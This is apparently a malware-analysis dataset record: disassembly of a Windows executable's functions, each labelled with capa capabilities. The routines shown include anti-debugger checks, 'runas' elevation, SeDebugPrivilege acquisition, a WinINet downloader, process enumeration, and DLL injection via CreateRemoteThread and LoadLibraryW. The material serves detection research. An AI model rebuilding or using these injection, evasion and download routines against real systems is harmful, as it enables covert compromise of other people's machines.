joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400111d1
Capabilities:
Get token membership

Disassembly:
jmp 0x140022730
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140042040]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x14004d122]
call fcn.140011ed3
nop
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
mov byte [rbp + 0x44], 0
mov byte [rbp + 0x45], 0
mov byte [rbp + 0x46], 0
mov byte [rbp + 0x47], 0
mov byte [rbp + 0x48], 0
mov byte [rbp + 0x49], 5
lea rax, [rbp + 0x28]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp + 0x44]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140022806
lea r8, [rbp + 4]
mov rdx, qword [rbp + 0x28]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
nop
cmp dword [rbp + 4], 0
je 0x140022815
mov byte [rbp + 0x114], 1
jmp 0x14002281c
mov byte [rbp + 0x114], 0
movzx eax, byte [rbp + 0x114]
mov edi, eax
lea rcx, [rbp - 0x60]
lea rdx, [0x140037d20]
call fcn.140011c58
mov eax, edi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.14001170d
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x140011262
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x14001c590
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x14004d0ff]
call fcn.140011ed3
nop
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x270
jne 0x14001c5ce
mov rcx, qword [rbp + 0x100]
call fcn.1400112b7
nop
jmp 0x14001c5ea
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x4e0
jb 0x14001c5ea
mov rcx, qword [rbp + 0x100]
call fcn.14001173f
nop
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
mov rcx, qword [rbp + 0x100]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
inc eax
mov rcx, qword [rbp + 0x100]
mov dword [rcx], eax
mov eax, dword [rbp + 4]
shr eax, 0xb
mov rcx, qword [rbp + 0x100]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shr eax, 0x12
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x1400112da
Capabilities:
Create thread

Disassembly:
jmp 0x140017c10
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
mov rax, qword [0x140042040]
xor rax, rbp
mov qword [rbp + 0x120], rax
lea rcx, [0x14004d106]
call fcn.140011ed3
nop
mov edx, 8
lea rcx, [rbp + 8]
call fcn.140011465
mov rdx, qword [rbp + 0x158]
lea rcx, [rbp + 0x108]
call fcn.14001175d
mov qword [rbp + 0x118], rax
mov rdx, qword [rbp + 0x118]
lea rcx, [rbp + 8]
call fcn.14001132f
nop
lea rcx, [rbp + 0x108]
call fcn.1400115f5
nop
lea rax, [0x1400119f1]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x150]
add rax, 8
mov qword [rbp + 0x118], rax
lea rcx, [rbp + 8]
call fcn.140011a37
mov rcx, qword [rbp + 0x118]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__beginthreadex]
mov rcx, qword [rbp + 0x150]
mov qword [rcx], rax
mov rax, qword [rbp + 0x150]
cmp qword [rax], 0
je 0x140017d13
lea rcx, [rbp + 8]
call fcn.14001162c
nop
jmp 0x140017d2c
mov rax, qword [rbp + 0x150]
mov dword [rax + 8], 0
mov ecx, 6
call fcn.140011352
nop
lea rcx, [rbp + 8]
call fcn.1400115f5
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x1400395d0]
call fcn.140011c58
mov rcx, qword [rbp + 0x120]
xor rcx, rbp
call fcn.14001170d
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret

Function at 0x140011316
Capabilities:
Create process on windows
Terminate process

Disassembly:
jmp 0x140024200
push rbp
push rdi
sub rsp, 0x488
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xba
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140042040]
xor rax, rbp
mov qword [rbp + 0x458], rax
lea rcx, [0x14004d122]
call fcn.140011ed3
nop
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
nop
mov dword [rbp + 0x240], 0x70
lea rax, [rbp + 0x244]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c
rep stosb byte [rdi], al
lea rax, str.runas
mov qword [rbp + 0x250], rax
lea rax, [rbp + 0x10]
mov qword [rbp + 0x258], rax
mov qword [rbp + 0x248], 0
mov dword [rbp + 0x270], 1
lea rcx, [rbp + 0x240]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x1400242bb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x2c4], eax
jmp 0x1400242c4
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.140011c58
mov rcx, qword [rbp + 0x458]
xor rcx, rbp
call fcn.14001170d
lea rsp, [rbp + 0x468]
pop rdi
pop rbp
ret
Function at 0x14001143d
Capabilities:
Check for debugger via api

Disassembly:
jmp 0x1400225c0
push rbp
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140042040]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x14004d122]
call fcn.140011ed3
nop
mov dword [rbp + 4], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rbp + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
nop
cmp dword [rbp + 4], 0
jne 0x140022629
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140022630
mov al, 1
jmp 0x1400226b5
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x1400226b3
lea rdx, str.NtQueryInformationProcess
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x1400226a8
mov dword [rbp + 0x64], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rbp + 0x64]
mov edx, 0x1f
mov rcx, rax
call qword [rbp + 0x48]
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jne 0x1400226a8
cmp dword [rbp + 0x64], 0
je 0x1400226a8
mov al, 1
jmp 0x1400226b5
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.140011c58
mov rax, rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.14001170d
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x14001163b
Capabilities:
Acquire debug privileges

Disassembly:
jmp 0x14001ceb0
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140042040]
xor rax, rbp
mov qword [rbp + 0x128], rax
lea rcx, [0x14004d122]
call fcn.140011ed3
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 8]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14001cf7f
lea r8, [rbp + 0x28]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x14001cf74
mov dword [rbp + 0x48], 1
mov eax, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
imul rax, rax, 0
mov rcx, qword [rbp + 0x28]
mov qword [rbp + rax + 0x4c], rcx
mov eax, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
imul rax, rax, 0
mov dword [rbp + rax + 0x54], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rbp + 0x48]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x140037980]
call fcn.140011c58
mov rcx, qword [rbp + 0x128]
xor rcx, rbp
call fcn.14001170d
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret
Function at 0x14001173f
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x14001f9c0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x20]
lea rcx, [0x14004d0ff]
call fcn.140011ed3
nop
mov qword [rbp + 8], 0x26f
mov qword [rbp + 0x28], 0xe3
mov qword [rbp + 0x48], 0
jmp 0x14001fa05
mov rax, qword [rbp + 0x48]
inc rax
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0xe3
jae 0x14001fa96
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x48]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
and eax, 1
test eax, eax
je 0x14001fa5b
mov dword [rbp + 0x1b4], 0x9908b0df
jmp 0x14001fa65
mov dword [rbp + 0x1b4], 0
mov eax, dword [rbp + 0x64]
shr eax, 1
xor eax, dword [rbp + 0x1b4]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
xor eax, dword [rcx + rdx*4 + 0xff8]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14001f9fa
mov qword [rbp + 0x88], 0xe3
jmp 0x14001fab4
mov rax, qword [rbp + 0x88]
inc rax
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0x26f
jae 0x14001fb5d
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x88]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rbp + 0xa4], eax
mov eax, dword [rbp + 0xa4]
and eax, 1
test eax, eax
je 0x14001fb19
mov dword [rbp + 0x1b4], 0x9908b0df
jmp 0x14001fb23
mov dword [rbp + 0x1b4], 0
mov eax, dword [rbp + 0xa4]
shr eax, 1
xor eax, dword [rbp + 0x1b4]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x88]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14001faa3
mov qword [rbp + 0xc8], 0x26f
mov eax, 4
imul rax, rax, 0x4df
mov rcx, qword [rbp + 0x1e0]
mov eax, dword [rcx + rax + 4]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x1e0]
mov ecx, dword [rdx + rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rbp + 0xe4], eax
mov eax, dword [rbp + 0xe4]
and eax, 1
test eax, eax
je 0x14001fbbd
mov dword [rbp + 0x1b4], 0x9908b0df
jmp 0x14001fbc7
mov dword [rbp + 0x1b4], 0
mov eax, dword [rbp + 0xe4]
shr eax, 1
xor eax, dword [rbp + 0x1b4]
mov ecx, 4
imul rcx, rcx, 0x18c
mov rdx, qword [rbp + 0x1e0]
xor eax, dword [rdx + rcx + 4]
mov ecx, 4
imul rcx, rcx, 0x26f
mov rdx, qword [rbp + 0x1e0]
mov dword [rdx + rcx + 4], eax
mov rax, qword [rbp + 0x1e0]
mov dword [rax], 0
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret
Function at 0x14001185c
Capabilities:
Terminate process

Disassembly:
jmp 0x14002d140
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x140011a7d
Capabilities:
Parse pe header

Disassembly:
jmp 0x14002e970
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14002e990
xor al, al
jmp 0x14002ea11
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14002e9a3
xor al, al
jmp 0x14002ea11
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14002e9cd
xor al, al
jmp 0x14002ea11
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14002e9e1
xor al, al
jmp 0x14002ea11
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14002e9f3
xor al, al
jmp 0x14002ea11
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14002ea0f
xor al, al
jmp 0x14002ea11
mov al, 1
add rsp, 0x38
ret
Function at 0x140011b6d
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
jmp 0x140021740
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x868
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x17e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x888]
mov rax, qword [0x140042040]
xor rax, rbp
mov qword [rbp + 0x828], rax
lea rcx, [0x14004d122]
call fcn.140011ed3
nop
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Downloader
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400217c1
xor al, al
jmp 0x140021904
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x850]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140021806
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
xor al, al
jmp 0x140021904
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x50]
call fcn.1400115c3
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
mov rdx, qword [rbp + 0x858]
lea rcx, [rbp + 0x50]
call fcn.1400115a5
nop
mov rax, qword [rbp + 0x50]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x50]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
movzx eax, al
test eax, eax
je 0x140021885
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov byte [rbp + 0x7f4], 0
lea rcx, [rbp + 0x50]
call fcn.140011398
movzx eax, byte [rbp + 0x7f4]
jmp 0x140021904
lea r9, [rbp + 0x594]
mov r8d, 0x400
lea rdx, [rbp + 0x180]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400218cd
cmp dword [rbp + 0x594], 0
jbe 0x1400218cd
mov eax, dword [rbp + 0x594]
mov r8d, eax
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
nop
jmp 0x140021885
lea rcx, [rbp + 0x50]
call fcn.14001179e
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov byte [rbp + 0x814], 1
lea rcx, [rbp + 0x50]
call fcn.140011398
movzx eax, byte [rbp + 0x814]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1400377d0]
call fcn.140011c58
mov rax, rdi
mov rcx, qword [rbp + 0x828]
xor rcx, rbp
call fcn.14001170d
lea rsp, [rbp + 0x838]
pop rdi
pop rbp
ret
Function at 0x140011e01
Capabilities:
Enumerate processes

Disassembly:
jmp 0x1400221b0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x428
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x448]
mov rax, qword [0x140042040]
xor rax, rbp
mov qword [rbp + 0x3f8], rax
lea rcx, [0x14004d122]
call fcn.140011ed3
nop
mov dword [rbp + 0x10], 0x238
xor edx, edx
mov ecx, 2
call fcn.1400116e5
mov qword [rbp + 0x268], rax
cmp qword [rbp + 0x268], 0xffffffffffffffff
jne 0x140022222
xor eax, eax
jmp 0x140022282
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.140011947
test eax, eax
je 0x140022272
mov rdx, qword [rbp + 0x420]
lea rcx, [rbp + 0x3c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x14002225e
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, dword [rbp + 0x18]
jmp 0x140022282
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.140011cd5
test eax, eax
jne 0x140022236
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140038c30]
call fcn.140011c58
mov rax, rdi
mov rcx, qword [rbp + 0x3f8]
xor rcx, rbp
call fcn.14001170d
lea rsp, [rbp + 0x408]
pop rdi
pop rbp
ret
Function at 0x140011eab
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001e4e0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x140042040]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x14004d0f5]
call fcn.140011ed3
nop
mov rax, qword [rbp + 0x190]
cmp qword [rax + 0x68], 0
je 0x14001e547
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001e54e
mov al, 1
jmp 0x14001e69e
call fcn.1400113fc
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx]
mov qword [rbp + 0x158], rcx
mov edx, eax
mov rcx, qword [rbp + 0x190]
mov rax, qword [rbp + 0x158]
call qword [rax + 0x18]
mov dword [rbp + 0x160], eax
call fcn.1400113fc
mov ecx, dword [rbp + 0x160]
mov edx, ecx
mov ecx, eax
call fcn.140011bc7
movzx eax, al
test eax, eax
je 0x14001e59f
xor al, al
jmp 0x14001e69e
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x190]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x190]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
je 0x14001e604
cmp dword [rbp + 0x154], 1
je 0x14001e60f
cmp dword [rbp + 0x154], 3
je 0x14001e68d
jmp 0x14001e69c
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x14001e65f
mov rax, qword [rbp + 0x190]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x14001e65f
xor al, al
jmp 0x14001e69e
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001e67a
mov dword [rbp + 0x154], 1
jmp 0x14001e684
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x14001e69e
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14001e69e
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.140011c58
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.14001170d
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret
Function at 0x140011eb0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
jmp 0x1400223b0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
lea rcx, [0x14004d122]
call fcn.140011ed3
nop
cmp dword [rbp + 0x148], 0
jne 0x1400223e4
xor al, al
jmp 0x140022545
mov r8d, dword [rbp + 0x148]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x14002240a
xor al, al
jmp 0x140022545
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.ucrtbased.dll_wcslen]
lea rax, [rax + rax + 2]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, rax
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140022456
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor al, al
jmp 0x140022545
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.ucrtbased.dll_wcslen]
lea rax, [rax + rax + 2]
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x140]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.LoadLibraryW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rcx, qword [rbp + 0x28]
mov qword [rsp + 0x20], rcx
mov r9, rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x140022505
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor al, al
jmp 0x140022545
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov al, 1
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x14002c0e0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011f50
movzx eax, al
test eax, eax
jne 0x14002c100
mov ecx, 7
call fcn.140011c7b
nop
mov byte [rsp + 0x20], 0
call fcn.140011cc1
mov byte [rsp + 0x21], al
cmp dword [0x1400440c0], 1
jne 0x14002c124
mov ecx, 7
call fcn.140011c7b
nop
jmp 0x14002c17c
cmp dword [0x1400440c0], 0
jne 0x14002c177
mov dword [0x1400440c0], 1
lea rdx, [0x140036880]
lea rcx, [0x140036550]
call fcn.1400116e0
test eax, eax
je 0x14002c158
mov eax, 0xff
jmp 0x14002c281
lea rdx, [0x140036440]
lea rcx, [section..rdata]
call fcn.140011ca8
mov dword [0x1400440c0], 2
jmp 0x14002c17c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011c3f
call fcn.140011ac8
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x14002c1d9
mov rcx, qword [rsp + 0x30]
call fcn.14001158c
movzx eax, al
test eax, eax
je 0x14002c1d9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14004f020]
nop
call fcn.140011b68
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14002c20d
mov rcx, qword [rsp + 0x38]
call fcn.14001158c
movzx eax, al
test eax, eax
je 0x14002c20d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011e6f
nop
call fcn.14002c330
mov dword [rsp + 0x28], eax
call fcn.140011a7d
movzx eax, al
test eax, eax
jne 0x14002c22c
mov ecx, dword [rsp + 0x28]
call fcn.1400110f5
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14002c23b
call fcn.140011e8d
nop
xor edx, edx
mov cl, 1
call fcn.140011537
mov eax, dword [rsp + 0x28]
jmp 0x14002c281
add rsp, 0x68
ret